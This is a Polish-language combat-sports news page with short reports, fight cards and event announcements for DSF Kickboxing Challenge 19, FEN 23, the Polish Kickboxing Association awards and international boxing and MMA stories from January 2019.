Serdecznie zapraszamy wszystkich przedstawicieli mediów do udziału w oficjalnej ceremonii ważenia przed galą DSF Kickboxing Challenge 19. Ceremonia odbędzie się w środę 23 stycznia o godzinie 12:00 w Axe Nation – Axe Throwing Club w Warszawie przy ul. Postępu 5. Wstęp wolny.

Do wtorku przyjmujemy wnioski akredytacyjne na galę DSF Kickboxing Challenge 19. Zainteresowanych przedstawicieli mediów prosimy o przesłanie wiadomości zawierającej nazwisko, nazwę redakcji oraz numer kontaktowy na adres pr@dsfchallenge.com. Proces akredytacyjny dobiegnie końca we wtorek o północy.

Pojedynek 40-latków?

40-letni Manny Pacquiao wypunktował w Las Vegas 29-letniego Adriena Bronera. Teraz Filipińczyk ponownie chciałby spotkać się z Floydem Mayweatherem Jr.

Niektórzy mogą zacząć drapać się po głowie i zastanawiać nad dalszym rozwojem wypadków. 2 maja w Las Vegas Mayweather Jr. okazał się lepszy od Filipińczyka, który zdobywał pasy w ośmiu kategoriach wagowych. Poza tym, że pojedynek uznawano za jeden z najbardziej wyczekiwanych w XXI wieku, dodatkowo stał sie finansowym sukcesem. Mówiono o walce stulecia. Główni aktorzy zarobili pokaźne sumy – ok. 150 mln dolarów Mayweather, Pacquiao ok. 100 mln dolarów. Do tego doszły wpływy z pay per view. "Money" zdradził, że łączenie zgarnął ponad 275 mln dolarów. Jeśli na potencjalny rewanż patrzeć w kategoriach finansowych – z pewnością obu bokserom opłaca się ponownie wejść do ringu.

Warto przypomnieć, że Pacquiao miał zakończył karierę po pojedynku z Timothy'm Bradleyem Jr. W kwietniu 2016 roku Filipińczyk wygrał i miał zamknąć pewien rozdział. Pacquiao miał zająć się polityką, w wyborach został wybrany na senatora. Wielokrotny mistrz świata wchodził jeszcze do ringu, jednak w lipcu 2017 roku dość niespodziewanie przegrał z Jeffem Hornem, który został czempionem WBO w kategorii półśredniej. Niektórzy mówili o upadku legendy. "Pacman" nie poddał się i wrócił. W Kuala Lumpur pokonał przed czasem Lucasa Martina Matthysse i zdobył kolejny tytuł. Tym razem Pacquiao mógł się pochwalić pasem WBA w kategorii półśredniej. 61 zwycięstwo zapisał na swoim koncie pokonując Bronera.

Floyd Mayweather Jr. pokonał Andre Berto i jako niepokonany zakończył karierę. Był wrzesień 2015 roku. Nie minęły dwa lata, a "Money" ponownie wszedł do ringu. Tym razem jego rywalem był zawodnik MMA – Conor McGregor. Mayweather wygrał 50 walkę w karierze, zainkasował 100 milionów dolarów plus część wpływów z pay per view. Ponownie Amerykanin zapewniał, że kończy karierę. Minęło trochę czasu i Mayweather zaprezentował się w Saitamie. Tam, podczas gali Rizin FF 14 w grudniu 2018 roku, pokonał młodego Tenshina Nasukawę. Za pojedynek zgarnął "tylko" 9 milionów dolarów.

Po walce z Bronerem, Pacquiao jasno podkreślił, że chciałby zmierzyć się z Mayweatherem. "Money" z bliska obserwował starcie Filipińczyka, ale na jego słowa nie zareagował. Czy istnieje prawdopodobieństwo, że dwaj utytułowani bokserzy ponownie wejdą do ringu? Pacquiao znajduje się w posiadaniu pasa WBA. Z kolei Mayweather zrobił wszystko, co mógł, pobił wszelkie rekordy i pozostaje niepokonany. Podstawowa kwestia – z obu stron musi być chęć. Pacquiao liczy na rewanż, Mayweather wcale do niego nie musi się spieszyć.

KM

DSF 19: Jan "Iron" Lodzik vs Mateusz "Rzeźnik" Rajewski III

Gala DSF 19 odbędzie się już 24 stycznia w TVP Sport. Początek o godzinie 20:15. Na gali odbędą się dwie walki o mistrzowskie pasy federacji DSF Kickboxing Challenge. Najpierw Jan "Iron" Lodzik zmierzy się po raz trzeci z Mateuszem "Rzeźnikiem" Rajewskim, a w pojedynku wieczoru "Mad Max" Bratkowicz spotka się z Danielem Veidenthalerem. Kibice zobaczą także międzynarodowy mecz K-1 Polska-Litwa.

[kod]

Jeszcze trzy walki

2 lutego w Fortalezie podczas gali UFC Fight Night 144 Jose Aldo zmierzy się z Renato Carneiro. Dla byłego mistrza wagi piórkowej będzie to jedna z ostatnich walk, ponieważ 32-latek chce zakończyć karierę.

W 2009 roku Aldo wywalczył tytuł mistrzowski w organizacji WEC. Jego ofiarą padł Mike Brown. Brazylijczyk bronił pasa dwukrotnie, a następnie WEC włączono do UFC. Aldo automatycznie stał się czempionem tej organizacji i na tronie zasiadał do 2015 roku. Po drodze pokonał m.in. Chada Mendesa, Frankiego Edgara czy Jung Chan-sunga. Dopiero Conor McGregor znalazł sposób na Aldo i pozbawił go tytułu. Brazylijczyk chciał spotkać się z pogromcą w rewanżu, jednak do niego nie doszło. McGregor wybrał inny kierunek – najpierw starcia z Nate’m Diazem, a potem pojedynek o pas wagi lekkiej z Eddie’m Alvarezem. Aldo pozostał tymczasowy tytuł w kategorii piórkowej. Brazylijczyk pokonał kolejny raz Edgara, zaś McGregor oddał pas i Aldo ponownie został czempionem. Wydawało się, że wszystko wróciło do normy, jednak rywale również byli spragnieni sukcesów. Aldo przegrał z Maxem Holloway’em i stracił tytuł. W rewanżu również lepszy okazał się Amerykanin. Po dwóch porażkach przyszła osłoda – ostatnio Aldo wygrał z Jeremym Stephensem.

Bez dwóch zdań – 32-letni Brazylijczyk zapisał bogatą kartę w historii MMA. Brazylijczyk zapowiada zakończenie kariery. – Chcę zakończyć swoją karierę w Brazylii (za MMAfighting.com) – podkreśla Aldo, który przedstawił plan na ten rok. – Chcę stoczyć trzy walki. Teraz w Fortalezie, ale już negocjuję następny występ na maj (UFC 237), jeśli się nie mylę w Kurytybie. Potem zakończę w drugim półroczu. Wiem, że kolejne wydarzenie będzie miało miejsce w Brazylii – przedstawia.

W najbliższym starciu, 2 lutego, były mistrz zmierzy się z Renato Carneiro. 29-letni Brazylijczyk radzi sobie dobrze w UFC, z sześciu walk wygrał pięć. Przegrał jedynie z Brianem Ortegą, a ostatnio wypunktował Cuba Swansona.

Aldo myśli o pożegnaniu z UFC, dlatego odrzuca możliwość próby rywalizacji o pas. – Nie ma powodu, żeby dążyć do tej walki – mówi zawodnik. – Możecie być pewni, że będę problemem dla każdego, kto stanie przede mną, ponieważ wygram te trzy walki – zapewnia.

Fot. Jose Aldo Junior Facebook

KM

Gala DSF 19 przeniesiona z Grudziądza do Warszawy

Z przyczyn organizacyjnych gala DSF Kickboxing Challenge 19 zostaje przeniesiona do Hali Sportowej Ośrodka Sportu i Rekreacji dzielnicy Śródmieście przy ul. Polnej 7a w Warszawie. Pierwotnie impreza miała się odbyć w Hali Widowiskowo-Sportowej w Grudziądzu. Data i godziny transmisji (24 stycznia, godz. 20:15 w TVP Sport) pozostają bez zmian.

""

Na gali DSF 19 w Warszawie zgodnie z planem odbędą się dwa pojedynki mistrzowskie o pas DSF Kickboxing Challenge. Najpierw Jan „Iron” Lodzik po raz trzeci zmierzy się z Mateuszem „Rzeźnikiem” Rajewskim. Stawką ich walki będzie należący do tego pierwszego tytuł w kategorii piórkowej (do 65 kg). Główną atrakcją wieczoru będzie potyczka Maksymiliana Bratkowicza z mocarnym Danielem Veidenthalerem. „Mad Max” przystąpi do drugiej obrony pasa w wadze średniej (do 86 kg). Wcześniej kibice zobaczą także składający się z trzech potyczek międzynarodowy mecz K-1 Polska-Litwa.

Transmisja z gali DSF Kickboxing Challenge 19 odbędzie się 24 stycznia od godziny 20:15 w TVP Sport oraz na sport.tvp.pl.

Bal z nagrodami

Nie da się ukryć, że rok 2018 był niezwykle udany dla kickboxingu. 11 stycznia w Węgrowie podsumowano minionych dwanaście miesięcy. Przyznano również nagrody Herosa 2018 w kilkunastu kategoriach.

W 2018 roku kickboxing wykonał milowy krok. 30 listopada organizacja WAKO została przyjęta w poczet członków Międzynarodowego Komitetu Olimpijskiego. Z kolei biało-czerwoni z mistrzostw Europy w Mariborze i Bratysławie przywieźli 32 medale. Było więc co świętować i kogo nagradzać. Warto podkreślić, że wydarzenie w Węgrowie weszło w cykl obchodów 30-lecia Polskiego Związku Kickboxingu. Dyscyplina pojawiła się w Polsce w latach 80. XX wieku za sprawą Andrzeja Palacza. Jednak ówczesne władze niechętnie odnosiły się do kickboxingu. Polski Związek Kickboxingu zarejestrowano w lipcu 1989 roku, ale już wtedy nasi zawodnicy mieli renomę na świecie. Wystarczy wymienić Marka Piotrowskiego, Piotra Siegoczyńskiego czy Przemysława Saletę. 

To już 30 lat PZKb. Polski kickboxing to marka sama w sobie. Na imprezach mistrzowskich jesteśmy w czołówce, a dyscyplina poczyniła ważne kroki w rozwoju i zwiększeniu rozpoznawalności. Bal Mistrzów Kickboxingu w Węgrowie był znakomitą okazją do nagrodzenia tych, którzy wyróżniali się w 2018 roku. 

Poniżej lista nagrodzonych:
Paulina Stenka – zawodniczka roku PZKb w formułach planszowych
Łukasz Puczyński – zawodnik roku PZKb w formułach planszowych
Kamila Bałanda i Karolina Kubiak – zawodniczka roku PZKb w formułach ringowych
Robert Krasoń – zawodnik roku PZKb w formułach ringowych
Iwona Nieroda (na zdjęciu) – zawodniczka roku walki zawodowe
Kamil Jenel – zawodnik roku walki zawodowe
Tomasz Biernacki – klubowy trener roku
Radosław Laskowski – trener roku kadry PZKb
Krzysztof Kacperski – sędzia roku
Mecz Polska-Węgry w kick light w Kartuzach – impreza roku
Panzer Suwałki i Palestra Warszawa – wyróżnienia w kategorii klubów

Honorowego Herosa Roku otrzymał Tomasz Skrzypek, który zakończył pracę z kadrą. – To jest moje pożegnanie z reprezentacją Polski. Na balu Polskiego Związku Kickboxingu otrzymałem nagrodę HONOROWEGO HEROSA PZKB. Polskę reprezentowałem 26 lat. W tym 21 pełniłem funkcję trenera kadry narodowej. Najdłużej z moim przyjacielem Tomkiem Mamulskim. Dziękuję za daną mi szansę. Dziękuję zawodnikom z którymi pracowałem. To był dla mnie zaszczyt. Dziękuję za tak godne pożegnanie. Miałem łzy w oczach. Warto było to wszystko przeżyć – taką informację Tomasz Skrzypek przekazał w mediach społecznościowych.

Fot. Iwona Nieroda Facebook

KM

 

Rębecki ponownie obronił tytuł mistrzowski

W Lubinie odbyła się gala FEN 23, podczas której pas mistrzowski wagi lekkiej w formule MMA obronił Mateusz Rębecki. Nowym czempionem K-1 w limicie 77kg został Dominik Zadora. 27-latek pokonał przez nokaut Łukasza Pławeckiego.

W karcie głównej było siedem walk – cztery w MMA i trzy w K-1. Pięć pojedynków, pięć wygranych – taki bilans przed galą w Lubinie w FEN miał Mateusz Rębecki. Do tego na koncie pas wagi lekkiej. Tytuł Rębecki wywalczył pokonując Mariana Ziółkowskiego podczas gali FEN 20. Dotychczas bronił go raz – w trzeciej rundzie pokonał Łukasza Koperę. W Lubinie przyszło mu rywalizować z Daguirem Imavovem, który przed polską publicznością zdążył się zaprezentować się z dobrej strony. Od początku Rębecki starał się narzucić swoje warunki. Płaszczyzną walki był w głównej mierze parter, w którym popularny "Chińczyk" wykorzystywał swoje umiejętności zapaśnicze. Po pierwszej rundzie narożnik Imavova poddał go. Okazało się, że zawodnik złamał żebro. Mistrzem wagi lekkiej pozostał zatem Rębecki.

Drugie zwycięstwo w FEN zanotował Marcin Sianos, który pokonał Marcina Zontka. Pojedynek rozstrzygnął się w pierwszej rundzie. Potężny prawy sierpowy Sianosa dotarł do twarzy Zontka, który padł na deski. Były pretendent do pasa M-1 potrzebował kilku minut, aby się podnieść. Czwarte zwycięstwo Sianosa.

W Lubinie Łukasz Pławecki po raz pierwszy bronił mistrzowskiego pasa w K-1, który zdobył w maju 2018 roku pokonując Wojciecha Wierzbickiego. Podczas gali FEN 23 „Boom Boom” nie miał łatwego zadania. Dominik Zadora to niezwykle groźny zawodnik, który swoją wartość udowodnił w Lubinie. Pierwsza runda pokazała, że mistrzowska walka będzie kapitalnym widowiskiem. Szybkie tempo, kopnięcia, ciosy. W ostatnich sekundach Zadora naruszył Pławeckiego. Zawodnik trenujący we Wrocławiu chciał podkreślić swoją przewagę, jednak mistrz był twardy. Pławecki próbował efektownych akcji, ale nie zagroził rywalowi. Liczne kopnięcia sprawiły, że prawe udo 31-latka było mocno obite. W trzeciej rundzie Zadora dosłownie katował nogę rywala. Sędzia liczył Pławeckiego „na stojąco”, gdyż ten zaczął wyraźnie utykać. „Boom Boom” pokazał charakter i walczył dalej. Chwilę później grad ciosów ze strony Zadory i kolejne liczenie, Pławecki wstał i podjął rękawicę, jednak po chwili upadł i sędzia przerwał pojedynek. Zadora został nowym mistrzem. 

Efektowne zwycięstwo Szymona Duszy w formule MMA (77kg). Zawodnik z Opola szybko zepchnął do defensywy Tymoteusza Łopaczyka. 22-latek po jednym z ciosów rywala zaczął cofać się pod siatkę, Dusza wykorzystał sytuację. 28-latek mocnym kopnięciem na wątrobę sprawił, że Łopaczyk osuwał się na deski. Dusza postawił kropkę nad "i" i zanotował pierwszą wygraną w FEN. Skuteczny Wojciech Wierzbicki. W walce w K-1 Polak wypunktował Pavla Oboznego. Wierzbicki przeważał nad rywalem, a w drugiej rundzie potężny low kick sprawił, że Białorusin znalazł się na macie i przez dłuższy czas nie mógł się z niej podnieść.

Po trzech rundach sędziowie nie mieli wątpliwości, kto był lepszy w rywalizacji Eliasza Jankowskiego i Huberta Dylewskiego. Zawodnik z Legnicy pokonał o 14 lat młodszego rywala. W trzeciej rundzie triumfował Łukasz Charzewski, który w walce na zasadach MMA zmusił do poddania Łukasza Bieńka. Przez całe starcie "Harry" był stroną dominującą. W pierwszej odsłonie rozbił nos rywala, w parterze dyktował warunki i w końcu założył skuteczną gilotynę.

Karta wstępna FEN 23 liczyła cztery pojedynki. W K-1 Tomasz Zamysłowski w drugiej rundzie pokonał Łukasza Kaletę. Łukasz Kaczmarczyk lepszy od Roberta Rajewskiego, zaś Mariusza Lach od Bartosza Hassę. Oba starcia zakończyły się decyzjami sędziów. W pojedynku na zasadach MMA Kamil Kraska szybko poddał Szymona Szarpaka.

KM

Kowalkiewicz poznała kolejną rywalkę

Karolina Kowalkiewicz poznała kolejną rywalkę, z którą spotka się 30 marca z Filadelfii. Podczas gali UFC on ESPN 2 Polka zmierzy się z Michelle Waterson.

Dla 33-letniej Kowalkiewicz będzie to dziewiąte starcie w amerykańskiej organizacji. W ubiegłym roku urodzona w Łodzi zawodniczka dwukrotnie prezentowała się w oktagonie. Kwietniową walkę w Nowym Jorku z Felice Herrig rozstrzygnęła na swoją korzyść. Kowalkiewicz dobrze radziła sobie w każdej płaszczyźnie, walczyła mądrze i mogła cieszyć się ze zwycięstwa, choć w trzeciej rundzie Herrig posłała w jej stronę kilka mocnych ciosów. Polka triumfowała niejednogłośną decyzją sędziów. Z kolei we wrześniu w Dallas Kowalkiewicz musiała przełknąć gorzką pigułkę. Zaledwie dwóch minut potrzebowała Jessica Andrade, aby posłać Polkę na deski. Sędzia przerwał pojedynek.

Z kolei Waterson może pochwalić się 100% skutecznością w 2018 roku. 33-letnia Amerykanka wygrała dwa pojedynki – z Cortney Casey-Sanchez i Felice Herrig. W obu przypadkach triumfowała decyzją sędziów. Dotychczas Waterson przegrała dwa starcia w UFC. Jej pogromczyniami były Rose Namajunas i Tecia Torres.

Większe doświadczenie w UFC ma Karolina Kowalkiewicz i to ona wydaje się być faworytką marcowego starcia. Polka miała okazję rywalizować o mistrzostwo w wadze słomowej, jednak uległa Joannie Jędrzejczyk. Swego czasu pokonała obecną posiadaczkę pasa – Rose Namajunas. Umiejętności nie można odmówić również Waterson. Amerykanka stała się czołową postacią w rywalizacji kobiet w UFC. Wcześniej dobrze prezentowała się w organizacji Invicta, gdzie zdobyła tytuł w wadze atomowej.

Amerykanka większość walk wygrała przed czasem. Jej niezaprzeczalnym atutem jest szybkość. Z kolei Kowalkiewicz przyzwyczaiła do rywalizacji na pełnym dystansie, imponuje wydolnością i spokojem. W ostatniej walce Andrade szybko ruszyła na Polkę, co dało jej wygraną. Gdy Kowalkiewicz przetrwa pierwsze minuty i kontroluje pojedynek, atuty są po jej stronie. W rywalizacji z Amerykanką, Polka musi mieć się na baczności i uważać na wszelkie próby sprowadzenia.

Fot. Karolina Kowalkiewicz Facebook

KM

FEN 23: Zmiany na karcie walk

Łukasz Bieniek (6-4, 1 KO, 3 SUB) będzie rywalem Łukasza Charzewskiego (5-1, 1 KO, 1 SUB), a Szymon Szarpak (0-0) zmierzy się z Kamilem Kraską (1-1, 1 KO) podczas gali FEN 23, która 12 stycznia odbędzie się w Lubinie.

Bieniek wywodzi się z zapasów, a swój pierwszy zawodowy pojedynek stoczył w 2012 roku, gdy w 1. rundzie pokonał Pawła Zeglińskiego. Później – raz przez techniczny nokaut i znowu przez poddanie – rozprawił się z Kamilem Rozdzialikiem i Sebastianem Solarzem. Bieniek do klatki wróci po prawie trzyletniej przerwie, gdyż swój ostatni pojedynek stoczył w styczniu 2016 roku wygrywając z Przemysławem Fajerem.

Szarpak w Lubinie dopiero zadebiutuje na zawodowstwie. 19-latek pochodzący ze Szczecina w karierze amatorskiej stoczył trzy pojedynki, z których dwa wygrał i jeden przegrał. W czerwcu 2018 roku pokonał Patryka Ostrowskiego, w październiku 2017 roku wygrał na punkty z Mateuszem Wilkiem.

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

Ceremonia ważenia – wideo (zmiana miejsca i godziny!)

12 stycznia w Lubinie odbędzie się gala Fight Exclusive Night 23. Przedstawiamy datę oraz miejsce, w którym odbędzie się oficjalna ceremonia ważenia oraz plan telewizyjnej transmisji.

Ceremonia ważenia:

Oficjalna ceremonia ważenia odbędzie się o godzinie 17:00 w Kinie Helios w Lubinie (ul. Generała Władysława Sikorskiego 20, 59-300 Lubin). Wstęp na ceremonię dla kibiców jest wolny. Transmisja z ceremonii ważenia zrealizowana przez telewizję FighTime.pl odbędzie się na oficjalnym profilu na Facebooku federacji.

INFORMACJA DLA KIBICÓW: Wraz z naszym partnerem, kinem Helios, przygotowaliśmy specjalną promocję: wystarczy, że pokażesz bilet na dowolny film z kina Helios w Lubinie z 11 lub 12 stycznia, a dostaniesz 20% rabat na bilet FEN 23. Wejściówki na galę z rabatem będzie można nabyć podczas ceremonii ważenia na naszym stoisku w kinie oraz w Hali RCS w dniu wydarzenia.

Plan transmisji telewizyjnej:

Walka wieczoru:

70 kg, MMA: Mateusz Rębecki VS Daguir Imavov*

Karta główna – Polsat Sport Extra, Super Polsat – start, godzina 20:00

120 kg, MMA: Marcin Zontek VS Marcin Sianos
77 kg, K-1: Łukasz Pławecki VS Dominik Zadora*
77 kg, MMA: Tymoteusz Łopaczyk VS Szymon Dusza
77 kg, K-1: Wojciech Wierzbicki VS Pawel Obozny
70 kg, MMA: Łukasz Charzewski VS Łukasz Bieniek
77 kg, MMA: Kamil Kraska VS Szymon Szarpak

Karta wstępna – Polsat Sport Fight – start, godzina 19:00

67 kg, K-1: Eliasz Jankowski VS Hubert Dylewski
61 kg, K-1: Bartosz Hassa VS Mariusz Lach
70 kg, K-1: Łukasz Kaczmarczyk VS Robert Rajewski

18:30 – pierwsza walka gali FEN 23

77 kg, K-1: Łukasz Kaleta VS Tomasz Zamysłowski

* stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night

Nasukawa będzie miał kolejnego znanego rywala?

Tenshin Nasukawa staje się coraz bardziej rozpoznawalny. Duży wpływ na to miała jego walka z utytułowanym bokserem Floydem Mayweatherem Jr. Niewykluczone, że teraz młody Japończyk zmierzy się z byłym mistrzem UFC Conorem McGregorem.

Na gali Rizin 14, która odbyła się 31 grudnia w Saitamie doszło do starcia Mayweathera Jr. z niepokonanym japońskim kickbokserem Tenshinem Nasukawą. Pojedynek odbył się na zasadach boksu. 41-latek górował nad młodszym o 21 lat rywalem. Japończyk już w pierwszej rundzie był liczony trzykrotnie, na co postanowił zareagować jego narożnik. Rzucony ręcznik wiązał się z zakończeniem walki. Dla młodego Nasukawy porażka była ogromnym ciosem, ale jak się okazuje nadal będzie o nim głośno. 20-latek ma spore umiejętności, o czym świadczy 27 wygranych walk, w tym 21 przed czasem. Japończyk, można powiedzieć, stał się magnesem dla gwiazd. Stoczył walkę z Mayweatherem, a teraz miałby spotkać się z Conorem McGregorem.

Irlandczyk jasno przedstawił swoje plany. – Chciałbym pojechać do Tokio, żeby zmierzyć się z Tenshinem Nasukawą w pojedynku MMA – napisał McGregor. Walka miałaby się odbyć jeszcze przed latem. Wiadomo, że McGregor szuka nadal płaszczyzny, na której może brylować. Przegrał głośną walkę bokserską z Mayweatherem. Sytuacja 30-latka w UFC również skomplikowała się. McGregor sięgał po pas w wadze piórkowej i lekkiej. Pierwszy zwakował, a drugi został mu… odebrany, ponieważ Irlandczyk nie palił się do rywalizacji w celu obrony. Ostatnio McGregor musiał uznać wyższość Chabiba Nurmagomiedowa. Jak widać – sytuacja niedawnej pierwszoplanowej postaci UFC stała się trudna. McGregor jest na zakręcie, ale robi wszystko, aby wykorzystać swoją wartość marketingową. Teraz stawia na Nasukawę, a właściwie na pieniądze, które może dostać za walkę z Japończykiem. Mayweather za starcie z młodym zawodnikiem zarobił około 9 milionów dolarów.

Nasukawa odniósł się do propozycji McGregor. – Drogi Panie McGregor, dziękuję za zapamiętanie mojego imienia. Jestem zaszczycony, że rozważasz starcie ze mną. 58kg, zasady kickbokkserskie – doprowadziłby nas niebawem do ringu – odpowiedział Japończyk.

20-latek stawia swoje warunku. Teraz czas na ruch McGregor. Czy Irlandczyk będzie chciał rywalizować w kolejnej dyscyplinie? W boksie mu nie wyszło, ale znając McGregora – show i kasa.

Fot. Tenshin Nasukawa Facebook

KM

ZAPROSZENIE – "Lekcja WF-u z Mistrzami Kickboxingu" w Grudziądzu | DSF 19

Jutro (wtorek 8 stycznia 2019) o godzinie 11:45 w Hali Sportowej przy ul. Nauczycielskiej 19 w Grudziądzu odbędzie się organizowana przez federację DSF Kickboxing Challenge pokazowa „Lekcja WF-u z Mistrzami Kickboxingu”. Dzieci i młodzież otrzymają od organizatorów gali DSF 19 niepowtarzalną możliwość spotkania i wspólnego trenowania z największymi gwiazdami polskiego kickboxingu.

W Grudziądzu gościć będą gwiazdy federacji DSF Kickboxing Challenge: dwukrotny mistrz świata Marcin Różal Różalski, mistrz DSF w wadze średniej (do 86 kg) Maksymilian Bratkowicz, mistrzyni świata Róża Gumienna, mistrz DSF w wadze lekkiej (do 71 kg) Jarosław Daschke oraz mistrz DSF wagi piórkowej (do 65 kg) Jan Lodzik, którzy zaprezentują swoje wspaniałe umiejętności i porozmawiają z fanami. Pojawią się także zawodnicy miejscowego klubu żużlowego MRGARDEN GKM Grudziądz.

Już 24 stycznia "Mad Max" Bratkowicz i "Jan "Iron" Lodzik będą bronić mistrzowskich pasów federacji DSF w dwóch najważniejszych walkach gali DSF Kickboxing Challenge 19 w Grudziądzu. Bilety na to wydarzenie są dostępne w serwisach KupBilety24.eu oraz KupBilecik.pl. Więcej szczegółów znajdziecie naFacebooku >>>

Zapraszamy wszystkich chętnych do udziału w jutrzejszej "Lekcji WF-u z Mistrzami Kickboxingu". Wstęp wolny.

DSF 20 Kraków | Legenda K-1 Łukasz Jarosz gotowy do debiutu w DSF!

Już 23 lutego legendarny polski zawodnik K-1 Łukasz Jarosz zadebiutuje w federacji DSF Kickboxing Challenge. Zawodowy i amatorski mistrz świata, który wygrywał przed czasem m.in. z Marcinem Różalskim i Łukaszem Jurkowskim, w 2018 roku powrócił na ring po 8,5 rocznej przerwie. 23 lutego na gali DSF 20 w Krakowie Jarosz zmierzy się z Holendrem Wendellem Roche.

– Kibice pamiętają mnie przede wszystkim z walk turniejowych. W pierwszym oficjalnym turnieju K-1 we Wrocławiu wygrałem wszystkie walki przez nokaut w 1. rundzie. W kolejnych zawodach również znokautowałem każdego rywala, w finale był to Marcin Różalski – wspomina zawodnik Jarosz Fight Club, który w maju na Stadionie Narodowym efektownie znokautował w 2. rundzie Michała Wlazło.

– Kiedyś turniejów i gal nie było tak dużo. Dziś zawodnicy liczą swoje lajki w Internecie i tą miarą mierzą swój sukces. Nie tędy droga. Liczą się wygrane walki. Ja najpierw godziłem się walczyć, a potem pytałem o nazwiska rywali – mówi weteran polskiego kickboxingu. – Wielką motywacją do mojego powrotu był wywiad Marcina Różalskiego, który powiedział, że jestem jedynym Polakiem, z którym może walczyć. Ja oczywiście też jestem chętny i mam nadzieję, że do tej walki dojdzie. W Polsce jest wielu świetnych zawodników wagi ciężkiej, ale najlepszy jest dziś Tomek Sarara.

– Moje największe atuty to siła, dynamika i szybkość. Często kończę walki przed czasem – zaznacza Jarosz, którego zawodowy bilans to 41 zwycięstw (34 przez nokaut) i tylko 3 porażki. – 23 lutego walczę w Krakowie z Holendrem Wendellem Roche. Nie lekceważę nigdy żadnego rywala, każdy kto wychodzi do ringu jest niebezpieczny. Jeżeli pojawi się szansa, to go znokautuję!

Bilety na galę DSF 20 dostępne w serwisach Eventim.pl, Ticketclub.pl oraz KupBilety24.eu. Wszystkie informacje o gali są dostępne na stronie wydarzenia na Facebooku >>>

 

Bez odpowiedzi

Maleją szanse na pojedynek Anthony'ego Joshuy z Deontayem Wilderem. Tak przynajmniej twierdzi promotor mistrza świata IBO, WBA, IBF i WBO – Eddie Hearn.

Temat starcia Joshuy i Wildera obecny jest od ponad roku. Strony prowadzą rozmowy, jednak efektów nie widać. Wydawało się, że do walki może dojść wiosną 2018 roku, potem latem. Obaj pięściarze byli gotowi spotkać się i stoczyć bój o prymat w wadze ciężkiej. Wiadomo, że kością niezgody były pieniądze.

Po grudniowym starciu Wildera z Tysonem Fury'm, które zakończyło się remisem odżył temat starcia Amerykanina z Joshuą. Z jednej strony mistrz WBC podkreślał chęć spotkania z 29-latkiem z Watfordu, z drugiej wyrażał gotowość do rewanżu z olbrzymem z Wilmslow. Ponadto, przed świętami Amerykanin podkreślał konieczność ponownego spotkania się z Fury’m. Pierwsze starcie zakończyło się remisem, a więc należy wyłonić boksera, który jest lepszy. W związku z tym Eddie Hearn traci nadzieję na zorganizowanie walki „AJ” z Wilderem. – Chcieliśmy tej walki 13 kwietnia na Wembley. Stopniowo oferowaliśmy Wilderowi coraz więcej za pojedynek i nie chodzi o sumę, ale o procentowy udział. Zarobiłby więcej niż kiedykolwiek wcześniej. Nie możemy przekroczyć pewnej granicy, bo "AJ" jest stroną A – mówi Eddie Hearn.

Obóz Wildera pozostaje obojętny na propozycje promotora Joshuy. Wszystko wskazuje na to, że Amerykanin w pierwszej kolejności planuje rewanż z Fury'm, w którym będzie chciał udowodnić swoją wyższość i tym razem wyraźnie wygrać. – Pomimo trzech czy czterech e-maili i wielu telefonów nie uzyskaliśmy od obozu Deontaya Wildera żadnej odpowiedzi. W końcu uświadamiasz sobie, że im może tak na tej walce nie zależy. Pewnie chcą rewanżu z Fury'm – przedstawia Hearn.

Kibice boksu wierzą, że w końcu dojdzie do pojedynku czempionów kategorii królewskiej. Obóz Joshuy chciałby zorganizować walkę 13 kwietnia, ale obecnie nic nie wskazuje na to, aby te plany udało się przekuć w rzeczywistość. Zapewne na Wembley „AJ” zmierzy się z innym rywalem. Wśród kandydatów są Dilian Whyte i Jarrel Miller.

Fot. Anthony Joshua Facebook

KM

Głodny Jones

Po zwycięstwie z Alexandrem Gustafssonem, Jon Jones jest głodny kolejnych walk i triumfów. Amerykanin zapowiada, że w 2019 roku stoczy trzy pojedynki.

Podczas gali UFC 232, która odbyła się w Inglewood, choć pierwotnie miała mieć miejsce w Las Vegas "Bones" znokautował rywala ze Skandynawii. Wokół pojedynku było gorąco. Gala została przeniesiona głównie z powodu… Jonesa, w którego organizmie wykryto niewielkie ilości turinabolu. Warto przypomnieć, że Amerykanin zdążył się już wsławić wpadkami dopingowymi. Tym razem UFC zrobiło wszystko, aby do walki doszło. W trzeciej rundzie Jones zastopował Gustafssona i mógł cieszyć się z 23 zwycięstwa w karierze. Zaprezentował się po raz pierwszy od półtora roku, ale wrócił w efektowny sposób – znowu zasiada na tronie. – W ciągu ostatnich kilku dni coś we mnie się zmieniło. W moim sercu i umyśle. To szalejący głód zwycięstw – przedstawia Jon Jones. – W przeszłości walczyłem i gdy zrealizowałem plan imprezowałem i wypełniałem czas nonsensem. Po odzyskaniu pasa myślę tylko o tym, aby wrócić i ponownie wygrać. Cały czas chcę udowadniać, że jestem najlepszy na świecie. Wracam do domu i ruszam na siłownię, aby budować swoje umiejętności – dodaje.

31-letni Amerykanin przedstawił swoje plany na 2019 roku. – Zamierzać stoczyć trzy walki i pozostawić zero wątpliwości, co do mojej dominacji. Mam zamiar to zrobić, bo to moja pasja. 2019 będzie niesamowity. Wszystko dzięki temu, że wiem, co jest ważne. Tak więc rywale w mojej dywizji – idźcie, ustawcie się, wszyscy to dostaniecie. Król powrócił i nikt nie może spać spokojnie. Ta sama korona, twarz, ale większe cierpienie dla innych. To przyniosę w 2019 roku – zapowiada Jones.

